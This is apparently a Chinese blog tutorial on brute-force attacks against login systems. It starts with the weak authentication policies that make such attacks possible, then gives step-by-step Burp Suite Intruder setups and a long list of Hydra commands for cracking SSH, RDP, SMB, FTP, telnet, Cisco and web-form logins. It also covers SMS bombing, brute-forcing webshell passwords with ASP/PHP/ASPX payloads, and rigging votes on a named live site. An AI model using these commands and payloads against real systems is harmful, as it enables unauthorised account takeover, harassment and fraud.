暴力破解原理

暴力破解”是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。 为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。 理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。 我们说一个web应用系统存在暴力破解漏洞,一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高。 这里的认证安全策略, 包括: 1.是否要求用户设置复杂的密码; 2.是否每次认证都使用安全的验证码(想想你买火车票时输的验证码~)或者手机otp; 3.是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等); 4.是否采用了双因素认证; …等等。 千万不要小看暴力破解漏洞,往往这种简单粗暴的攻击方式带来的效果是超出预期的!

从来没有哪个时代的黑客像今天一样热衷于猜解密码 —奥斯特洛夫斯基

上面是官话版的暴力破解.我个人理解为暴力破解就是瞎猜.瞎试.结合你收集的一切信息利用社工也好,32GB大字典也好.反正就是逐一乱猜…猜对了.就破解成功了.

我们在生成破解密码对应的文件的时候, 应该去尝试注册一个账号,看看目标站点要求我们使用什么样的密码.例如目标站要求我们使用6位以上的密码.显然,我们的字典如果存在6位或者6位以下的就是不合理的.可以利用此方法.去除字典中不必要的密码.

如果是爆破的后台,往往最应该尝试的是admin/administrator/root/adminroot/等象征性比较高的用户名,可以重点对这些用户名+密码进行尝试.观看返回结果.确定用户名.

    爆破工具使用(索引)

  1. Burp Suite渗透操作指南 【暴力破解】
  2. Hydra渗透操作指南 【暴力破解】

**1.1 Intruder高效暴力破解**

其实更喜欢称Intruder爆破为Fuzzing。Intruder支持多种爆破模式。分别是:单一字典爆破、多字段相同字典爆破、多字典意义对应爆破、聚合式爆破。最常用的应该是在爆破用户名和密码的时候。使用聚合方式枚举了。
img
Payload Set的1、2、3分别对应要爆破的三个参数。
img

1.1.1 字典加载
Payload里面提供了一些fuzzing字典,但是总觉得不是特好用。
img
如果嫌弃自带的字典不太符合国情,你可以手动加载自定义字典列表。
img
img
如果爆破的结果在返回数据包中有不同的信息,我们可以通过添加匹配来显示每一个爆破的数据包中的部分类容,提高可读性。
img
添加方法如下:
img
需要注意的是:Burp很多地方对中文支持不是特别好,在遍历数据的时候经常会碰到中文乱码的情况。如:

“LoginId”:”xl7dev阿西吧”,”NickName”:”阿西吧”
“LoginId”:”xl7dev”,”NickName”:””阿西吧”

由于响应数据的不确定因素,中文在加载字典的时候是乱码,这里为了显示好看,只匹配英文部分,可以使用正则:”LoginId”:”([a-zA-Z0-9_]+)”,”NickName”,最终提取的都是英文字符。
img
img

注意:Burpsuite对中文和空格支持不是很好,在设置字典路径的时候应避免路径中存在中文或者空格,字典内容中也要避免多余的空格。Porxy,repeater中的数据包中的中文乱码可通过修改字符集和编码纠正。
img

1.1.2 多种加密和编码支持

Intruder支持多种编码和加密,常见的base64加密、md5加密爆破通过intruder将变得很容易。
img
在爆破密码或者某些参数的时候可能会遇到二次Md5加密、先URL编码再Base64解密等等情况。其实intruder中的二次、三次加密或者解密很简单。在Payload Processing中按照要加密/解密的顺序依次添加就好了。如二次Md5:
img
第一个为123456的二次MD5
img

1.1.3 关于短信轰炸

现在有的短信发送限制为一分钟发送一次,可以通过Burp设置延时爆破,一分钟爆破一次。
img

1.1.4爆破指定数字长度

1.1.4.1采用Custom iterator

设置如下Password参数中\(1\)\(2\)$$3$$4$,Attack type为Sniper
img
在Payloads选项卡中Payload type设置Custom iterator
Payload Options>imgosition中分别对应选择
1=>0 1 2 3 4 5 6 7 8 9
2=>0 1 2 3 4 5 6 7 8 9
3=>0 1 2 3 4 5 6 7 8 9
4=>0 1 2 3 4 5 6 7 8 9
img
效果如下图:
img

1.1.4.2 采用Brute forcer方式

设置如下:
img
img
img

1.1.4.3 采用Numbers方式

​ 此方法不太稳定,可能有时候不会出现想要的结果
img
img

由此,可以套路一波Authorization: Basic爆破。直接上图:
img
img
img
img
img

1.1.5 制作Authorization: Basic字典

除了上述方法,还可以通过一些奇葩的手段制作字典,不仅限于Authorization: Basic字典。这只是个例子,什么时候能用次方法,大家自己意淫吧。
img
常规的对username/password进行payload测试,大家应该没有什么问题,但对于Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=这样的问题,很多朋友疑惑了.
Auth=dXNlcjpwYXNzd29yZA==是个base64加密的字符串,解密后其组合形式时user:pwd。直接爆破时不可能的,应为字典比较独特。如果大家手里有现成的user:pwd类型字典那不用说,要是没有现成的,可以用以下方法生成:
1:随便构造一个数据包,形式入下:

POST /test/ HTTP/1.1
Host: www.test.com

§username§§:§§password§
img
采用Cluster bomb模式,设置三个变量:
§user§§:§§password§

设置3处payloads,
Payload 1 —— §user§ ——为user变量的字典
Payload 2 —— §:§ —— 固定为冒号“:”
Payload 3 —— §pwd§ —— 为pwd变量的字典
img
通过爆破发包的方式生成字典:
img
点击save->Resuits table
img
按照如下选项选择保存。
imgimg

接下来怎么爆破Authorization: Basic就很简单了吧。
需要说明的是这个方法其实不是特别好,因为http发包线程关系,生成字典的速度不是很快,不像自己写的脚本那么方便。
如果你安装了CO2插件,生成这种字典就很容易了。
img

当然你也可以写个脚本生成这样的字典。全靠平时积累吧。
建议感兴趣的同学好好研究下payload sets里面的各种方法。收获一定不许小。
img

1.1.6爆破一句话木马
其实就是利用一句话木马传入成功的参数执行命令,根据命令返回判断是否得到了密码一句话木。

1:抓包将提交方式由get改为post:
img
2:回车将如下代码粘贴为post的内容:
payload=execute(“response.clear:response.write(“”passwordisright””):response.end”)
img
2.1:在intruder中将payload设置为爆破变量:
img
3:添加爆破字典
img
成功得到密码:byecho
img
下面是三种脚本的代码:
ASP:password=execute(“response.clear:response.write(“”passwordright””):response.end”)
PHP:password=echo phpinfo();
ASPX:password=execute(“response.clear:response.write(“”elseHelloWorld””):response.end”)
大家可以思考小,如何才能结合之前Binghe在【python之提速千倍爆破一句话】中的高效爆破方法。地址:http://bbs.ichunqiu.com/thread-16952-1-1.html

1.1.7 有限制刷票
演示地址:http://guojigongguan.cn/2014/baobao/babyshow.shtml?BabyID=59
本例投一次票会请求2次,第一次是一个点击状态请求post,第二次才是投票
img
第二次post页面只需要把cookie删除
Cookie: GUID=6966a72e-a577-4050-801f-0ddd43a2beb5
img
Intruder设置
img
img

1.1.8 关于字典
字典这块值得好好研究下,下如何才能高效的爆破后台。之前遇到过一个大牛,只要能爆破的,很多时候都成功了,一般人去却做不到。有一套好的密码生成方法很重要。我没啥好的方法,所以这里也想个大家做些探讨:针对具体的目标网站,有哪些行之有效的字典生成方法?有哪些值得推荐的工具?
希望大家积极评论,我将整理有用的方法并及时更新。
如何选取字典

1.OA、mail、tms、crm、mes等系统常用用户名:
姓名拼音。
6位、8位数字编号。

2.一般后台用户名:
常用的用户名TOP100、TOP1000
姓名拼音TOP100、TOP1000

3.密码字典
最先尝试最弱面:123456、888888、666666、111111、12345678、test、admin等
其次尝试TOP100、TOP1000。
一定要搞,那就用更大的字典。
**
4.运营商、网络公司(思科、华为等等)的网络设备或者网站都有很多独特的用户名和密码,大家可以上网收集一下。**
个人密码生成
根据个人信息融入常规弱口令,形成带入个人特征的密码:
http://www.caimima.net/index.php
密码分析软件Oopa
地址:https://github.com/chao-mu/Oopa,首先用pip安装prettytable模块
img
分析统计用的最多的前二十个密码:python oopa.py –analysis keyword xxxx.txt –top 20
img
分析个位数密码占所有密码的百分比:python oopa.py –analysis length xxxx.txt –sort Count


***
# [hydra(爆破神器)](https://www.cnblogs.com/smlile-you-me/p/10316113.html)

每个密码安全研究都显示,最大的安全漏洞是密码。该工具是概念代码的证明,为研究人员和安全顾问提供了展示从远程系统获取未授权访问是多么容易的可能性。

这个工具仅供法律使用!

已有几种登录黑客工具可用,但是,没有一种工具支持多种协议来攻击或支持并行连接。

它经过测试,可以在Linux,Windows / Cygwin,Solaris,FreeBSD / OpenBSD,QNX(Blackberry 10)和MacOS上进行干净的编译。

目前该工具支持以下协议:Asterisk,AFP,Cisco AAA,Cisco auth,Cisco enable,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-POST ,HTTP-PROXY,HTTPS-FORM-GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTPS-POST,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP ,Oracle监听器,Oracle SID,Oracle,PC-Anywhere,PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,RTSP,SAP / R3,SIP,SMB,SMTP,SMTP Enum,SNMP v1 + v2 + v3,SOCKS5 ,SSH(v1和v2),SSHKEY,Subversion,Teamspeak(TS2),Telnet,VMware-Auth,VNC和XMPP。

#安装依赖
yum -y install gcc libssh-devel openssl-devel
#克隆项目
git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra/
./configure –prefix=/usr/local/hydra && make && make install
ln -s /usr/local/hydra/bin/hydra /usr/bin/

常用选项:
选项                说明 示例
-h 查看所有可用的命令行选项         hydra -h
-U 检查模块是否具有可选参数 hydra     -U smb
-l 指定用户名                  -l zhangsan
-p 指定密码                  -p 123456
-C 使用冒号分隔的user:passwd格式,而不是-l/-p      -C zhangsan:123456
-L 指定用户名字典文件            -L /root/user.dict
-P 指定密码字典文件             -P /root/passwd.dict
-M 指定目标IP列表文件           -M /root/ip.dict
-e 尝试“尝试登录为密码”和“空密码”      -e ns
-s 指定对应模块使用的端口,例如:如果ssh端口不是默认22,这里可以指定      -s 2222
-t 指定线程数,默认16            -t 1
-vV 显示详细破解过程            -vV
-o 指定将结果输出到文件 -o /root/result.txt
-b 指定-o选项输出的结果信息的类型,默认为文本信息,可以自定为jsonv1和json格式。      -b json
-R 恢复先前中止/崩溃的会话(当hydra被Control-C中止,被杀死或崩溃时,它会留下一个“hydra.restore”文件,其中包含恢复会话所需的所有信息。此会话文件每5分钟写入一次。注意:hydra.restore文件不能复制到不同的平台(例如从小端到大端,或从Solaris到AIX))   -R
-I 忽略现有的恢复文件(不要等待10秒)        -I
-S 执行SSL连接      -S
-f 在使用-M参数后,找到第一对登录用户和密码的时候终止破解      -f
-W 设置最大超时时间,单位秒,默认30秒        -W 60
-q 不要打印有关连接错误的消息    -q

创建user.txt和passwd.txt步骤省略……

img

img

刚才开始破解时用-o选项保存到了ssh.log文件中,打开ssh.log查看下:

img

可以看到已经显示出了远端IP、用户名、密码…

使用案例:

使用hydra破解ssh的密码
hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh

破解https:
# hydra -m /index.php -l username -P pass.txt IP https

破解teamspeak:
# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

破解cisco:
# hydra -P pass.txt IP cisco
# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
破解smb:
# hydra -l administrator -P pass.txt IP smb
破解pop3:
# hydra -l muts -P pass.txt my.pop3.mail pop3
破解rdp:
# hydra IP rdp -l administrator -P pass.txt -V
破解http-proxy:
# hydra -l admin -P pass.txt http-proxy://10.36.16.18

破解telnet
# hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

破解ftp:
# hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
# hydra IP ftp -l 用户名 -P 密码字典 -e ns -vV
get方式提交,破解web登录:
  # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/
  # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.php
post方式提交,破解web登录:
  该软件的强大之处就在于支持多种协议的破解,同样也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是,如果目标网站登录时候需要验证码就无法破解了。带参数破解如下:

  假设有以上一个密码登录表单,我们执行命令:
\# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:invalido
  说明:破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个密码就停止,ip 是本地,就是目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解。
  后面参数是网页中对应的表单字段的name 属性,后面中的内容是表示错误猜解的返回信息提示,可以自定义。<br /> 书到用时方恨少。有的人会觉得平时收集没啥用,到了需要的时候又这样不行那也不行。对[网络安全](http://www.ichunqiu.com/main?bbs)是不是真爱,看一看你的武器库里面有多少高质量的武器和积累就知道了。

版权声明:本文为FSHOU原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/FSHOU/articles/12632479.html